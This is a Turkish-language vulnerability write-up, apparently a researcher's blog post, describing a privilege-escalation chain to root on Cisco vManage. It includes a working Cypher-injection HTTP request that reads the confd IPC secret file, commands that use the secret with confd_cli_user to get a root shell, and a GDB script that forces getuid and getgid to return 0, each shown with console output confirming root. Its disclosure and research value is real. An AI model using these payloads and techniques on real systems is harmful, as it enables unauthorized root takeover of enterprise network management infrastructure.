confd ve Cisco web sitesinde bir hesapla erişilebilen farklı ikili dosyalarla ilgili bazı belgelere biraz araştırma yaptıktan sonra, IPC soketini kimlik doğrulamak için /etc/confd/confd_ipc_secret konumunda bulunan bir gizli anahtar kullandığını bulduk:
vmanage:~$ ls -al /etc/confd/confd_ipc_secret
-rw-r----- 1 vmanage vmanage 42 Mar 12 15:47 /etc/confd/confd_ipc_secret
Hatırlıyor musunuz Neo4j örneğimizi? vmanage kullanıcısının ayrıcalıkları altında çalışıyor, bu da bize önceki zafiyeti kullanarak dosyayı almamıza olanak tanıyor:
GET /dataservice/group/devices?groupId=test\\\'<>\"test\\\\\")+RETURN+n+UNION+LOAD+CSV+FROM+\"file:///etc/confd/confd_ipc_secret\"+AS+n+RETURN+n+//+' HTTP/1.1
Host: vmanage-XXXXXX.viptela.net
[...]
"data":[{"n":["3708798204-3215954596-439621029-1529380576"]}]}
confd_cli programı komut satırı argümanlarını desteklemiyor, ancak /usr/bin/confd_cli_user'ı argümanlarla çağırıyor. Bu nedenle, kendi argüman setimizle doğrudan /usr/bin/confd_cli_user'ı çağırabiliriz. Ancak mevcut ayrıcalıklarımızla okunabilir değil, bu yüzden onu rootfs'ten alıp scp kullanarak kopyalamamız, yardımı okumamız ve shell almak için kullanmamız gerekiyor:
vManage:~$ echo -n "3708798204-3215954596-439621029-1529380576" > /tmp/ipc_secret
vManage:~$ export CONFD_IPC_ACCESS_FILE=/tmp/ipc_secret
vManage:~$ /tmp/confd_cli_user -U 0 -G 0
Welcome to Viptela CLI
admin connected from 127.0.0.1 using console on vManage
vManage# vshell
vManage:~# id
uid=0(root) gid=0(root) groups=0(root)
Synacktiv ekibinin blogu¹, bir root shell elde etmenin şık bir yolunu tanımladı, ancak dezavantajı, yalnızca root tarafından okunabilen /usr/bin/confd_cli_user dosyasının bir kopyasını almayı gerektirmesidir. Böyle bir zahmete girmeden root'a yükselmenin başka bir yolunu buldum.
/usr/bin/confd_cli ikili dosyasını çözdüğümde, aşağıdakileri gözlemledim:
Ben “confd_cli” programının, oturum açmış kullanıcıdan topladığı kullanıcı kimliğini ve grup kimliğini “cmdptywrapper” uygulamasına ilettiğini varsaydım.
İlk denemem “cmdptywrapper”'ı doğrudan çalıştırmak ve ona -g 0 -u 0 sağlamak oldu, ancak başarısız oldu. Görünüşe göre bir dosya tanımlayıcısı (-i 1015) bir yerde oluşturulmuş ve bunu taklit edemiyorum.
Synacktiv’in blogunda belirtildiği gibi (son örnek), confd_cli programı komut satırı argümanlarını desteklemiyor, ancak bir hata ayıklayıcı ile bunu etkileyebilirim ve şans eseri GDB sistemde mevcut.
API getuid ve getgid'in 0 döndürmesini zorladığım bir GDB betiği oluşturdum. Zaten deserialization RCE aracılığıyla “vmanage” ayrıcalığına sahip olduğum için, /etc/confd/confd_ipc_secret dosyasını doğrudan okuma iznim var.
root.gdb:
set environment USER=root
define root
finish
set $rax=0
continue
end
break getuid
commands
root
end
break getgid
commands
root
end
run
Konsol Çıktısı:
vmanage:/tmp$ gdb -x root.gdb /usr/bin/confd_cli
GNU gdb (GDB) 8.0.1
Copyright (C) 2017 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-poky-linux".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from /usr/bin/confd_cli...(no debugging symbols found)...done.
Breakpoint 1 at 0x400f40
Breakpoint 2 at 0x401000Breakpoint 1, getuid () at ../sysdeps/unix/syscall-template.S:59
59 T_PSEUDO_NOERRNO (SYSCALL_SYMBOL, SYSCALL_NAME, SYSCALL_NARGS)
0x0000000000401689 in ?? ()Breakpoint 2, getgid () at ../sysdeps/unix/syscall-template.S:59
59 T_PSEUDO_NOERRNO (SYSCALL_SYMBOL, SYSCALL_NAME, SYSCALL_NARGS)
0x0000000000401694 in ?? ()Breakpoint 1, getuid () at ../sysdeps/unix/syscall-template.S:59
59 T_PSEUDO_NOERRNO (SYSCALL_SYMBOL, SYSCALL_NAME, SYSCALL_NARGS)
0x0000000000401871 in ?? ()
Welcome to Viptela CLI
root connected from 127.0.0.1 using console on vmanage
vmanage# vshell
bash-4.4# whoami ; id
root
uid=0(root) gid=0(root) groups=0(root)
bash-4.4#